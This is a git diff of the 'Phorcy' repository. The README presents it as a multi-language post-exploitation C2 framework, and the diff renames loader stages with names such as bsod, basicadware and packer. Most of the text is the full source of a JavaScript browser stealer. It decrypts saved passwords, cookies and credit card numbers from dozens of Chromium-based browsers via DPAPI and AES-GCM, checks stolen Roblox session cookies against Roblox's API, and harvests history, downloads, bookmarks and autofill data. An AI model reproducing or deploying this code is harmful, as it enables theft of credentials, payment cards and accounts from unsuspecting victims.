diff --git a/.vs/ProjectSettings.json b/.vs/ProjectSettings.json new file mode 100644 index 0000000..0cf5ea5 --- /dev/null +++ b/.vs/ProjectSettings.json @@ -0,0 +1,3 @@ +{ + "CurrentProjectSetting": "No Configurations" +} \ No newline at end of file diff --git a/.vs/VSWorkspaceState.json b/.vs/VSWorkspaceState.json new file mode 100644 index 0000000..0bd50f4 --- /dev/null +++ b/.vs/VSWorkspaceState.json @@ -0,0 +1,11 @@ +{ + "ExpandedNodes": [ + "", + "\\main", + "\\main\\port", + "\\main\\port\\payload", + "\\main\\port\\payload\\phorcy" + ], + "SelectedNode": "\\main\\port\\payload\\phorcy\\phorcy-master.sln", + "PreviewInSolutionExplorer": false +} \ No newline at end of file diff --git a/.vs/slnx.sqlite b/.vs/slnx.sqlite new file mode 100644 index 0000000..ae5d662 Binary files /dev/null and b/.vs/slnx.sqlite differ diff --git a/Builder/Builder.bat b/Builder/Builder.bat deleted file mode 100644 index d3f5a12..0000000 --- a/Builder/Builder.bat +++ /dev/null @@ -1 +0,0 @@ - diff --git a/Images/picture.png b/Images/picture.png deleted file mode 100644 index d3f5a12..0000000 --- a/Images/picture.png +++ /dev/null @@ -1 +0,0 @@ - diff --git a/Installation/Install.bat b/Installation/Install.bat deleted file mode 100644 index 8b13789..0000000 --- a/Installation/Install.bat +++ /dev/null @@ -1 +0,0 @@ - diff --git a/README.md b/README.md index aeb810a..59fadcb 100644 --- a/README.md +++ b/README.md @@ -1,18 +1,71 @@ -# phorcy -Phorcy +# Phorcy -**Warning** -> This Tool is for educational purposes only. -Do not release. -**Note** -# Programming languages: NIM; C++, Python; Javascript. +**Status:** In active development +**Primary Languages:** C++, Nim, Python, JavaScript, Elixir, D, Rust +**Project Type:** Post-exploitation C2 framework +**Last Major Update:** 1st of February 2026 -# Status: Unfinished -Date finished: N/A -# Title: Phorcy -Description: ... -# Main developers: -Synthetic; Cat ;Eline +--- -Contains numerous new tools in NIM (tested on v. 2.0.0 unless written otherwise) that implement very important features for a project like this. -Last updated: 29th November 2023. Time: Morning in Europe. +## Overview + +**Phorcy** is an experimental, multi-language post-exploitation c2 framework focused on efficiency, lightweight executables, and cross-language interoperability featuring multiple exfiltration features. + +This project is still evolving, with several core systems being actively reworked and standardized. + +--- + +## Architecture (High Level) + +Phorcy follows a layered design: + +| Layer | Language | Purpose | +|-------|----------|---------| +| Core C2 Payload for both Windows & Linux | **C++** | Performance-critical logic, base framework, and foundational modules | +| Bootstrap / Lightweight Loader & Loader | **Nim** | Minimal initialization and low-level exploitation components | +| Tooling & Automation | **Python / JavaScrip / TypeScript / Elixir** | Obfuscation scripts, tests, build tooling, and telegram robot/discord webhook management | +| Cryptographic Tooling / Libraries | **D / Rust** | [Customized Threefish512-CTR with BLAKE3-MAC verify-before-decrypt]() / [Slightly ported/forked Curve41417]() | + +This structure allows a clean separation of responsibilities between languages. + +--- + +## Project Status + +Phorcy is **unfinished** and considered a long-term experimental project. Internal structures, interfaces, and design choices may change significantly. + +--- + +## Changelog + +### Major Project Changes + +1st of February 2026 - Project was entirely revived, new dev joined & is now in active development again + +- A **full foundational base structure** has now been established, replacing earlier experimental fragments. +- The **codebase was largely rewritten in C++** to improve performance, consistency, and maintainability. +- The Nim portion was reduced to **a stager and registry high-level API wrapper**. +- Internal module organization and architecture were standardized. +- **Cookie** joined the development team. +- **Synthetic** is no longer involved in the project. +- **Eline** is no longer involved in the project. +- **Threefish512-CTR** / **curve41417** is being implemented into the project. + +29th November 2023 - "Contains numerous new tools in NIM (tested on v. 2.0.0 unless written otherwise) that implement very important features for a project like this." + +**~** + + +--- + +## Roadmap + +Planned areas of exploration include: + +- A **REST API layer** to route discord/telegram API/local web api requests and process lightweight agent information +- A **telegram-based** robot for build and packaging workflows +- Expanded **linux support**. +- A unified **remote management and service integration framework** within the main architecture. +- Continued modularization and documentation improvements. + +--- \ No newline at end of file diff --git a/builder-robot/main.py b/builder-robot/main.py new file mode 100644 index 0000000..e69de29 diff --git a/elinethingz/README.md b/loader/README.md similarity index 100% rename from elinethingz/README.md rename to loader/README.md diff --git a/elinethingz/security/encfile.nim b/loader/stager/encfile.nim similarity index 100% rename from elinethingz/security/encfile.nim rename to loader/stager/encfile.nim diff --git a/elinethingz/security/stage1/bsod.nim b/loader/stager/stage1/bsod.nim similarity index 100% rename from elinethingz/security/stage1/bsod.nim rename to loader/stager/stage1/bsod.nim diff --git a/elinethingz/security/stage1/checkfile.nim b/loader/stager/stage1/checkfile.nim similarity index 100% rename from elinethingz/security/stage1/checkfile.nim rename to loader/stager/stage1/checkfile.nim diff --git a/elinethingz/security/stage1/loader.nim b/loader/stager/stage1/loader.nim similarity index 100% rename from elinethingz/security/stage1/loader.nim rename to loader/stager/stage1/loader.nim diff --git a/elinethingz/security/stage1/mic_reg.nim b/loader/stager/stage1/mic_reg.nim similarity index 100% rename from elinethingz/security/stage1/mic_reg.nim rename to loader/stager/stage1/mic_reg.nim diff --git a/elinethingz/security/stage2/OFFENSIVEencfile.nim b/loader/stager/stage2/OFFENSIVEencfile.nim similarity index 100% rename from elinethingz/security/stage2/OFFENSIVEencfile.nim rename to loader/stager/stage2/OFFENSIVEencfile.nim diff --git a/elinethingz/security/stage2/basicadware.nim b/loader/stager/stage2/basicadware.nim similarity index 100% rename from elinethingz/security/stage2/basicadware.nim rename to loader/stager/stage2/basicadware.nim diff --git a/elinethingz/security/stage2/browser.nim b/loader/stager/stage2/browser.nim similarity index 100% rename from elinethingz/security/stage2/browser.nim rename to loader/stager/stage2/browser.nim diff --git a/elinethingz/security/stage2/packer.nim b/loader/stager/stage2/packer.nim similarity index 100% rename from elinethingz/security/stage2/packer.nim rename to loader/stager/stage2/packer.nim diff --git a/elinethingz/utils/nimwinreg/.gitignore b/loader/utils/nimwinreg/.gitignore similarity index 100% rename from elinethingz/utils/nimwinreg/.gitignore rename to loader/utils/nimwinreg/.gitignore diff --git a/elinethingz/utils/nimwinreg/README.md b/loader/utils/nimwinreg/README.md similarity index 100% rename from elinethingz/utils/nimwinreg/README.md rename to loader/utils/nimwinreg/README.md diff --git a/elinethingz/utils/nimwinreg/registry.nim b/loader/utils/nimwinreg/registry.nim similarity index 100% rename from elinethingz/utils/nimwinreg/registry.nim rename to loader/utils/nimwinreg/registry.nim diff --git a/elinethingz/utils/nimwinreg/registrydef.nim b/loader/utils/nimwinreg/registrydef.nim similarity index 100% rename from elinethingz/utils/nimwinreg/registrydef.nim rename to loader/utils/nimwinreg/registrydef.nim diff --git a/main/base/main.js b/main/base/main.js new file mode 100644 index 0000000..e69de29 diff --git a/Utils/Combined.js b/main/base/modules/Combined.js similarity index 100% rename from Utils/Combined.js rename to main/base/modules/Combined.js diff --git a/Utils/Discord.js b/main/base/modules/Discord.js similarity index 100% rename from Utils/Discord.js rename to main/base/modules/Discord.js diff --git a/Utils/EpicGames.js b/main/base/modules/EpicGames.js similarity index 100% rename from Utils/EpicGames.js rename to main/base/modules/EpicGames.js diff --git a/Utils/Folder.js b/main/base/modules/Folder.js similarity index 100% rename from Utils/Folder.js rename to main/base/modules/Folder.js diff --git a/Utils/Minecraft.js b/main/base/modules/Minecraft.js similarity index 100% rename from Utils/Minecraft.js rename to main/base/modules/Minecraft.js diff --git a/Utils/browser-stealer.js b/main/base/modules/browser-stealer.js similarity index 98% rename from Utils/browser-stealer.js rename to main/base/modules/browser-stealer.js index ffd7e34..50b4f40 100644 --- a/Utils/browser-stealer.js +++ b/main/base/modules/browser-stealer.js @@ -1,624 +1,624 @@ -const fs = require('fs'); -const sqlite3 = require('sqlite3').verbose(); -const crypto = require('crypto') -const path = require('path') -const dpapi = require('./node-dpapi'); -const axios = require('axios'); - -class BrowserStealing { - constructor() { - this.local = process.env.LOCALAPPDATA - this.roaming = process.env.APPDATA - this.phorcyDir = path.join(this.roaming, 'Phorcy'); - //this.browserPaths = [path.join(this.local, 'Google', 'Chrome', 'User Data'), path.join(this.local, 'Thorium', 'User Data')]; - this.browserPaths = [ - path.join(this.local, 'Opera Software', 'Opera Neon', 'User Data', 'Default'), - path.join(this.local, 'Opera Software', 'Opera Stable'), - path.join(this.local, 'Opera Software', 'Opera GX Stable'), - path.join(this.local, 'Amigo', 'User Data'), - path.join(this.local, 'Torch', 'User Data'), - path.join(this.local, 'Kometa', 'User Data'), - path.join(this.local, 'Orbitum', 'User Data'), - path.join(this.local, 'CentBrowser', 'User Data'), - path.join(this.local, '7Star', '7Star', 'User Data'), - path.join(this.local, 'Sputnik', 'Sputnik', 'User Data'), - path.join(this.local, 'Vivaldi', 'User Data'), - path.join(this.local, 'Google', 'Chrome SxS', 'User Data'), - path.join(this.local, 'Google', 'Chrome', 'User Data'), - path.join(this.local, 'Epic Privacy Browser', 'User Data'), - path.join(this.local, 'Microsoft', 'Edge', 'User Data'), - path.join(this.local, 'uCozMedia', 'Uran', 'User Data'), - path.join(this.local, 'Yandex', 'YandexBrowser', 'User Data'), - path.join(this.local, 'BraveSoftware', 'Brave-Browser', 'User Data'), - path.join(this.local, 'Iridium', 'User Data'), - path.join(this.local, 'Google', 'Chrome Beta', 'User Data'), - path.join(this.local, 'Google', 'Chrome SxS', 'User Data'), - path.join(this.local, 'Slimjet', 'User Data'), - path.join(this.local, 'Maxthon3', 'User Data'), - path.join(this.local, 'Thorium', 'User Data'), - path.join(this.local, 'AVAST Software', 'Avast Secure Browser', 'User Data'), - path.join(this.local, '8pecxstudios', 'Cyberfox', 'User Data'), - path.join(this.local, 'Waterfox', 'Profiles'), - path.join(this.local, 'Moonchild Productions', 'Pale Moon', 'Profiles'), - path.join(this.local, 'Comodo', 'Dragon', 'User Data'), - path.join(this.local, 'Coowon', 'User Data'), - path.join(this.local, 'GNU', 'IceCat', 'Profiles'), - path.join(this.local, 'Moonchild Productions', 'Basilisk', 'Profiles'), - path.join(this.local, 'Otter', 'Browser', 'User Data'), - path.join(this.local, 'WebDir', 'Opium', 'User Data'), - path.join(this.local, 'Comodo', 'Chromodo', 'User Data'), - path.join(this.local, 'Yandex', 'YandexBrowserBeta', 'User Data'), - path.join(this.local, 'SRWare Iron', 'User Data'), - path.join(this.local, 'Otter', 'Browser', 'User Data'), - path.join(this.local, 'Coowon', 'User Data'), - path.join(this.local, 'qutebrowser'), - path.join(this.local, 'Microsoft', 'Edge SxS', 'User Data'), - path.join(this.local, 'VivaldiSnapshot', 'User Data'), - path.join(this.local, 'Otter', 'Browser', 'User Data'), - path.join(this.local, 'Coowon', 'User Data'), - path.join(this.local, 'qutebrowser'), - path.join(this.local, 'Microsoft', 'Edge SxS', 'User Data'), - path.join(this.local, 'VivaldiSnapshot', 'User Data'), - ]; - this.browserProfiles = ['Default', 'Profile 1', 'Profile 2', 'Profile 3', 'Profile 4', 'Profile 5']; - this.tempDir = path.join(this.local, 'Temp'); - - //this.password_command = 'SELECT action_url, username_value, password_value FROM logins;'; - this.password_command = 'SELECT * FROM logins;'; - this.cookie_command = 'SELECT * FROM cookies;'; - this.cc_command = 'SELECT * FROM credit_cards;'; - this.history_command = 'SELECT * FROM urls;'; - this.downloads_command = 'SELECT * FROM downloads;'; - this.autofill_command = 'SELECT * FROM autofill;'; - - this.passwordFile = path.join(this.phorcyDir, 'browser_passwords.txt'); - this.cookieFile = path.join(this.phorcyDir, 'browser_cookies.txt'); - this.ccFile = path.join(this.phorcyDir, 'browser_creditcards.txt'); - this.historyFile = path.join(this.phorcyDir, 'browser_history.txt'); - this.downloadsFile = path.join(this.phorcyDir, 'browser_downloads.txt'); - this.bookmarkFile = path.join(this.phorcyDir, 'browser_bookmarks.txt'); - this.autofillFile = path.join(this.phorcyDir, 'browser_autofill.txt'); - this.robloxFile = path.join(this.phorcyDir, 'roblox_cookies.txt'); - - this.password_count = 0; - this.cookie_count = 0; - this.cc_count = 0; - this.history_count = 0; - this.downloads_count = 0; - this.bookmark_count = 0; - this.autofill_count = 0; - this.roblox_count = 0; - } - - generateRandomString() { - const randomCharacter = () => Math.random().toString(36).substring(2, 3).toUpperCase(); - return `${randomCharacter()}${randomCharacter()}${Math.random().toString(36).substring(2, 7).toUpperCase()}-${randomCharacter()}${randomCharacter()}${Math.random().toString(36).substring(2, 7).toUpperCase()}-${randomCharacter()}${randomCharacter()}${Math.random().toString(36).substring(2, 7).toUpperCase()}`; - } - - getDate(value) { - const date = new Date(value / 1000); - return date; - } - - decipher(masterKey, value) { - let first = value.slice(3, 15), - middle = value.slice(15, value.length - 16), - end = value.slice(value.length - 16, value.length); - - let decipher = crypto.createDecipheriv("aes-256-gcm", masterKey, first); - decipher.setAuthTag(end); - - let decrypted = decipher.update(middle, "base64", "utf-8") + decipher.final("utf-8"); - - return decrypted; - } - - fileExists(filePath) { - try { - fs.accessSync(filePath, fs.constants.F_OK); - return true; - } catch (err) { - return false; - } - } - - async getKey(local_stateFile, callback) { - fs.readFile(local_stateFile, 'utf8', (err, data) => { - if (err) { - console.error(err); - return; - } - - const encryptedKey = Buffer.from(JSON.parse(data).os_crypt.encrypted_key, 'base64').slice(5); - - const decryptedKey = dpapi.unprotectData(encryptedKey, null, "CurrentUser"); - - console.log('Decryption Key:', decryptedKey); - - //return decryptedKey; - callback(null, decryptedKey); - }); - } - - async getPassword(loginFile, masterKey) { - const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`); - - fs.copyFile(loginFile, tempFile, (err) => { - if (err) { - console.error(err); - } - - const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => { - if (err) { - console.error(err); - return; - } - - db.all(this.password_command, (err, rows) => { - if (err) { - console.error(err); - } else { - rows.map(row => { - //console.log(row); - if (row && row['password_value']) { - this.password_count++; - try { - //const passwordList = `${masterKey.toString('hex')}\t${row['origin_url']}\t${row['action_url']}\t${row['username_element']}\t${row['username_value']}\t${row['password_element']}\t${this.decipher(masterKey, row['password_value'])}\t${row['submit_element']}\t${row['signon_realm']}\t${this.getDate(parseInt(row['date_created']))}\t${row['blacklisted_by_user']}\t${row['scheme']}\t${row['password_type']}\t${row['times_used']}\t${row['form_data']}\t${row['display_name']}\t${row['icon_url']}\t${row['federation_url']}\t${row['skip_zero_click']}\t${row['generation_upload_status']}\t${row['possible_username_pairs']}\t${row['id']}\t${row[21]}\t${this.getDate(parseInt(row['date_last_used']))}\t${row['moving_blocked_for']}\t${this.getDate(parseInt(row['date_password_modified']))}\t${row['sender_email']}\t${row['sender_name']}\t${row['date_received']}\t${row['sharing_notification_displayed']}\t${row['keychain_identifier']}\n`; - const passwordList = `Master Key: ${masterKey.toString('hex')}\nOrigin URL: ${row['origin_url']}\nAction URL: ${row['action_url']}\nUsername Element: ${row['username_element']}\nUsername Value: ${row['username_value']}\nPassword Element: ${row['password_element']}\nDeciphered Password: ${this.decipher(masterKey, row['password_value'])}\nSubmit Element: ${row['submit_element']}\nSignon Realm: ${row['signon_realm']}\nDate Created: ${this.getDate(parseInt(row['date_created']))}\nBlacklisted by User: ${row['blacklisted_by_user']}\nScheme: ${row['scheme']}\nPassword Type: ${row['password_type']}\nTimes Used: ${row['times_used']}\nForm Data: ${row['form_data']}\nDisplay Name: ${row['display_name']}\nIcon URL: ${row['icon_url']}\nFederation URL: ${row['federation_url']}\nSkip Zero Click: ${row['skip_zero_click']}\nGeneration Upload Status: ${row['generation_upload_status']}\nPossible Username Pairs: ${row['possible_username_pairs']}\nID: ${row['id']}\nRow 21: ${row[21]}\nDate Last Used: ${this.getDate(parseInt(row['date_last_used']))}\nMoving Blocked For: ${row['moving_blocked_for']}\nDate Password Modified: ${this.getDate(parseInt(row['date_password_modified']))}\nSender Email: ${row['sender_email']}\nSender Name: ${row['sender_name']}\nDate Received: ${row['date_received']}\nSharing Notification Displayed: ${row['sharing_notification_displayed']}\nKeychain Identifier: ${row['keychain_identifier']}\n\n`; - fs.writeFileSync(this.passwordFile, passwordList, { flag: 'a' }); - } catch (err) { - console.error(err); - } - } - }); - } - db.close((err) => { - if (err) { - console.error(err); - } - }); - console.log('Password count:', this.password_count) - }); - }); - }); - - if (this.fileExists(tempFile)) { - fs.unlink(tempFile, (err) => { - if (err) { - console.error(err); - } - }); - } - }; - - async getCookie(cookieFile, masterKey) { - const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`); - - fs.copyFile(cookieFile, tempFile, (err) => { - if (err) { - console.error(err); - } - - const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => { - if (err) { - console.error(err); - return; - } - - db.all(this.cookie_command, (err, rows) => { - if (err) { - console.error(err); - } else { - rows.map(row => { - //console.log(row); - if (row && row['encrypted_value']) { - this.cookie_count++; - try { - //const cookieList = `${masterKey.toString('hex')}\t${this.getDate(parseInt(row['creation_utc']))}\t${row['host_key']}\t${row['top_frame_site_key']}\t${row['name']}\t${row['value']}\t${this.decipher(masterKey, row['encrypted_value'])}\t${row['path']}\t${this.getDate(parseInt(row['expires_utc']))}\t${row['is_secure']}\t${row['is_httponly']}\t${this.getDate(parseInt(row['last_access_utc']))}\t${row['has_expires']}\t${row['is_persistent']}\t${row['priority']}\t${row['samesite']}\t${row['source_scheme']}\t${row['source_port']}\t${row['is_same_party']}\t${this.getDate(parseInt(row['last_update_utc']))}\n`; - const cookieList = `Master Key: ${masterKey.toString('hex')}\nCreation UTC: ${this.getDate(parseInt(row['creation_utc']))}\nHost Key: ${row['host_key']}\nTop Frame Site Key: ${row['top_frame_site_key']}\nName: ${row['name']}\nValue: ${row['value']}\nDeciphered Encrypted Value: ${this.decipher(masterKey, row['encrypted_value'])}\nPath: ${row['path']}\nExpires UTC: ${this.getDate(parseInt(row['expires_utc']))}\nIs Secure: ${row['is_secure']}\nIs HttpOnly: ${row['is_httponly']}\nLast Access UTC: ${this.getDate(parseInt(row['last_access_utc']))}\nHas Expires: ${row['has_expires']}\nIs Persistent: ${row['is_persistent']}\nPriority: ${row['priority']}\nSameSite: ${row['samesite']}\nSource Scheme: ${row['source_scheme']}\nSource Port: ${row['source_port']}\nIs Same Party: ${row['is_same_party']}\nLast Update UTC: ${this.getDate(parseInt(row['last_update_utc']))}\n\n`; - fs.writeFileSync(this.cookieFile, cookieList, { flag: 'a' }); - if ('.ROBLOSECURITY' === row.name.toString()) { - this.roblox_count++; - const robloSecurityo = this.decipher(masterKey, row['encrypted_value']) - //console.log(robloSecurityo); - let headers = { - 'cookie': `.ROBLOSECURITY=${robloSecurityo};`, - } - - axios.get("https://www.roblox.com/mobileapi/userinfo", { headers }) - .then(response => { - //console.log(response.data); - if (response.data) { - //let robloxData = `${masterKey.toString('hex')}\t${response.data['username']}\t${response.data['userid']}\t${response.data['robuxbalance']}\t${response.data['ispremium']}\t${robloSecurityo}\n`; - let robloxData = `Master Key: ${masterKey.toString('hex')}\nUsername: ${response.data['username']}\nUser ID: ${response.data['userid']}\nRobux Balance: ${response.data['robuxbalance']}\nIs Premium: ${response.data['ispremium']}\nRoblox Security: ${robloSecurityo}\n\n`; - fs.writeFileSync(this.robloxFile, robloxData, { flag: 'a' }); - } - }) - .catch(err => { - console.error(err); - }); - } - } catch (err) { - console.error(err); - } - } - }); - } - db.close((err) => { - if (err) { - console.error(err); - } - }); - console.log('Cookie count:', this.cookie_count); - console.log('Roblox count:', this.roblox_count); - }); - }); - }); - - if (this.fileExists(tempFile)) { - fs.unlink(tempFile, (err) => { - if (err) { - console.error(err); - } - }); - } - }; - - async getCreditCard(ccFile, masterKey) { - const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`); - - fs.copyFile(ccFile, tempFile, (err) => { - if (err) { - console.error(err); - } - - const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => { - if (err) { - console.error(err); - return; - } - - db.all(this.cc_command, (err, rows) => { - if (err) { - console.error(err); - } else { - rows.map(row => { - //console.log(row); - if (row && row['card_number_encrypted']) { - this.cc_count++; - try { - //const ccList = `${masterKey.toString('hex')}\t${row['guid']}\t${row['name_on_card']}\t${row['expiration_month']}/${row['expiration_year']}\t${this.decipher(masterKey, row['card_number_encrypted'])}\t${this.getDate(parseInt(row['date_modified']))}\t${row['origin']}\t${row['use_count']}\t${this.getDate(parseInt(row['use_date']))}\t${row['billing_adress_id']}\t${row['nickname']}\n`; - const ccList = `Master Key: ${masterKey.toString('hex')}\nGUID: ${row['guid']}\nName on Card: ${row['name_on_card']}\nExpiration Date: ${row['expiration_month']}/${row['expiration_year']}\nDeciphered Card Number: ${this.decipher(masterKey, row['card_number_encrypted'])}\nDate Modified: ${this.getDate(parseInt(row['date_modified']))}\nOrigin: ${row['origin']}\nUse Count: ${row['use_count']}\nUse Date: ${this.getDate(parseInt(row['use_date']))}\nBilling Address ID: ${row['billing_adress_id']}\nNickname: ${row['nickname']}\n\n`; - fs.writeFileSync(this.ccFile, ccList, { flag: 'a' }); - } catch (err) { - console.error(err); - } - } - }); - } - db.close((err) => { - if (err) { - console.error(err); - } - }); - console.log('Credit Card count:', this.cc_count) - }); - }); - }); - - if (this.fileExists(tempFile)) { - fs.unlink(tempFile, (err) => { - if (err) { - console.error(err); - } - }); - } - }; - - async getHistory(historyFile) { - const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`); - - fs.copyFile(historyFile, tempFile, (err) => { - if (err) { - console.error(err); - } - - const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => { - if (err) { - console.error(err); - return; - } - - db.all(this.history_command, (err, rows) => { - if (err) { - console.error(err); - } else { - rows.map(row => { - //console.log(row); - if (row && row['url']) { - this.history_count++; - try { - //const historyList = `${row['id']}\t${row['url']}\t${row['title']}\t${row['visit_count']}\t${row['typed_count']}\t${this.getDate(parseInt(row['last_visit_time']))}\t${row['hidden']}\n`; - const historyList = `ID: ${row['id']}\nURL: ${row['url']}\nTitle: ${row['title']}\nVisit Count: ${row['visit_count']}\nTyped Count: ${row['typed_count']}\nLast Visit Time: ${this.getDate(parseInt(row['last_visit_time']))}\nHidden: ${row['hidden']}\n\n`; - fs.writeFileSync(this.historyFile, historyList, { flag: 'a' }); - } catch (err) { - console.error(err); - } - } - }); - } - db.close((err) => { - if (err) { - console.error(err); - } - }); - console.log('History count:', this.history_count) - }); - }); - }); - - if (this.fileExists(tempFile)) { - fs.unlink(tempFile, (err) => { - if (err) { - console.error(err); - } - }); - } - }; - - async getDownload(downloadFile) { - const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`); - - fs.copyFile(downloadFile, tempFile, (err) => { - if (err) { - console.error(err); - } - - const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => { - if (err) { - console.error(err); - return; - } - - db.all(this.downloads_command, (err, rows) => { - if (err) { - console.error(err); - } else { - rows.map(row => { - //console.log(row); - if (row && row['tab_url']) { - this.downloads_count++; - try { - //const downloadsList = `${row['id']}\t${row['guid']}\t${row['current_path']}\t${row['target_path']}\t${this.getDate(parseInt(row['start_time']))}\t${row['received_bytes']}\t${row['total_bytes']}\t${row['state']}\t${row['danger_type']}\t${row['interrupt_reason']}\t${row['hash']}\t${row[this.getDate(parseInt(row['end_time']))]}\t${row['opened']}\t${this.getDate(parseInt(row['last_access_time']))}\t${row['transient']}\t${row['referrer']}\t${row['site_url']}\t${row['embedder_download_data']}\t${row['tab_url']}\t${row['tab_referrer_url']}\t${row['http_method']}\t${row['by_ext_id']}\t${row['by_ext_name']}\t${row['by_web_app_id']}\t${row['etag']}\t${row['last_modified']}\t${row['mime_type']}\t${row['original_mime_type']}\n`; - const downloadsList = `ID: ${row['id']}\nGUID: ${row['guid']}\nCurrent Path: ${row['current_path']}\nTarget Path: ${row['target_path']}\nStart Time: ${this.getDate(parseInt(row['start_time']))}\nReceived Bytes: ${row['received_bytes']}\nTotal Bytes: ${row['total_bytes']}\nState: ${row['state']}\nDanger Type: ${row['danger_type']}\nInterrupt Reason: ${row['interrupt_reason']}\nHash: ${row['hash']}\nEnd Time: ${this.getDate(parseInt(row['end_time']))}\nOpened: ${row['opened']}\nLast Access Time: ${this.getDate(parseInt(row['last_access_time']))}\nTransient: ${row['transient']}\nReferrer: ${row['referrer']}\nSite URL: ${row['site_url']}\nEmbedder Download Data: ${row['embedder_download_data']}\nTab URL: ${row['tab_url']}\nTab Referrer URL: ${row['tab_referrer_url']}\nHTTP Method: ${row['http_method']}\nBy Extension ID: ${row['by_ext_id']}\nBy Extension Name: ${row['by_ext_name']}\nBy Web App ID: ${row['by_web_app_id']}\nETag: ${row['etag']}\nLast Modified: ${row['last_modified']}\nMIME Type: ${row['mime_type']}\nOriginal MIME Type: ${row['original_mime_type']}\n\n`; - fs.writeFileSync(this.downloadsFile, downloadsList, { flag: 'a' }); - } catch (err) { - console.error(err); - } - } - }); - } - db.close((err) => { - if (err) { - console.error(err); - } - }); - console.log('Downloads count:', this.downloads_count) - }); - }); - }); - - if (this.fileExists(tempFile)) { - fs.unlink(tempFile, (err) => { - if (err) { - console.error(err); - } - }); - } - }; - - async getBookmark(bookmarkFile) { - const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`); - - fs.copyFile(bookmarkFile, tempFile, (err) => { - if (err) { - console.error(err); - } - - fs.readFile(tempFile, 'utf8', (err, data) => { - if (err) { - console.error(err); - return; - } - let bookmarks = JSON.parse(data).roots.other.children; - //console.log(bookmarks); - try { - for (const item of bookmarks) { - //const bookmarkList = `${this.getDate(parseInt(item['date_added']))}\t${this.getDate(parseInt(item['date_last_used']))}\t${item['guid']}\t${item['id']}\t${item['meta_info']}\t${item['name']}\t${item['type']}\t${item['url']}\n`; - const bookmarkList = `Date Added: ${this.getDate(parseInt(item['date_added']))}\nDate Last Used: ${this.getDate(parseInt(item['date_last_used']))}\nGUID: ${item['guid']}\nID: ${item['id']}\nMeta Info: ${item['meta_info']}\nName: ${item['name']}\nType: ${item['type']}\nURL: ${item['url']}\n\n`; - fs.writeFileSync(this.bookmarkFile, bookmarkList, { flag: 'a' }); - this.bookmark_count++; - } - } catch (err) { - console.error(err); - } - console.log('Bookmark count:', this.bookmark_count) - }); - }); - - if (this.fileExists(tempFile)) { - fs.unlink(tempFile, (err) => { - if (err) { - console.error(err); - } - }); - } - }; - - async getAutofill(autofillFile) { - const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`); - - fs.copyFile(autofillFile, tempFile, (err) => { - if (err) { - console.error(err); - } - - const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => { - if (err) { - console.error(err); - return; - } - - db.all(this.autofill_command, (err, rows) => { - if (err) { - console.error(err); - } else { - rows.map(row => { - //console.log(row); - if (row && row['value']) { - this.autofill_count++; - try { - //const autofillList = `${row['name']}\t${row['value']}\t${row['value_lower']}\t${this.getDate(parseInt(row['date_created']))}\t${this.getDate(parseInt(row['date_last_used']))}\t${row['count']}\n`; - const autofillList = `Name: ${row['name']}\nValue: ${row['value']}\nLowercase Value: ${row['value_lower']}\nDate Created: ${this.getDate(parseInt(row['date_created']))}\nDate Last Used: ${this.getDate(parseInt(row['date_last_used']))}\nCount: ${row['count']}\n\n`; - fs.writeFileSync(this.autofillFile, autofillList, { flag: 'a' }); - } catch (err) { - console.error(err); - } - } - }); - } - db.close((err) => { - if (err) { - console.error(err); - } - }); - console.log('Autofill count:', this.autofill_count) - }); - }); - }); - - if (this.fileExists(tempFile)) { - fs.unlink(tempFile, (err) => { - if (err) { - console.error(err); - } - }); - } - }; - - async Main() { - // dir preparation - if (!this.fileExists(this.phorcyDir)) { - try { - fs.mkdirSync(this.phorcyDir); - } catch (err) { - console.error(err); - } - } - - // password, cookie, cc grabber - fs.writeFileSync(this.passwordFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); - fs.writeFileSync(this.robloxFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); - fs.writeFileSync(this.cookieFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); - fs.writeFileSync(this.ccFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); - for (const browserPath of this.browserPaths) { - if (this.fileExists(browserPath)) { - const localState = path.join(browserPath, 'Local State'); - if (this.fileExists(localState)) { - for (const profile of this.browserProfiles) { - const passwordFile = path.join(browserPath, profile, 'Login Data'); - if (this.fileExists(passwordFile)) { - try { - this.getKey(localState, async (err, key) => { - if (err) { - console.error(err); - } else { - await this.getPassword(passwordFile, key); - } - }); - } catch (err) { - console.error(err); - } - } - const cookieFile = path.join(browserPath, profile, 'Network', 'Cookies'); - if (this.fileExists(cookieFile)) { - try { - this.getKey(localState, async (err, key) => { - if (err) { - console.error(err); - } else { - await this.getCookie(cookieFile, key); - } - }); - } catch (err) { - console.error(err); - } - } - const ccFile = path.join(browserPath, profile, 'Web Data'); - if (this.fileExists(ccFile)) { - try { - this.getKey(localState, async (err, key) => { - if (err) { - console.error(err); - } else { - await this.getCreditCard(ccFile, key); - } - }); - } catch (err) { - console.error(err); - } - } - } - } - } - } - - // history, downloads, bookmark, autofill grabber - fs.writeFileSync(this.historyFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); - fs.writeFileSync(this.downloadsFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); - fs.writeFileSync(this.bookmarkFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); - fs.writeFileSync(this.autofillFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); - for (const browserPath of this.browserPaths) { - if (this.fileExists(browserPath)) { - for (const profile of this.browserProfiles) { - const historyFile = path.join(browserPath, profile, 'History'); - if (this.fileExists(historyFile)) { - try { - await this.getHistory(historyFile); - } catch (err) { - console.error(err); - } - } - const downloadsFile = path.join(browserPath, profile, 'History'); - if (this.fileExists(downloadsFile)) { - try { - await this.getDownload(downloadsFile); - } catch (err) { - console.error(err); - } - } - const bookmarkFile = path.join(browserPath, 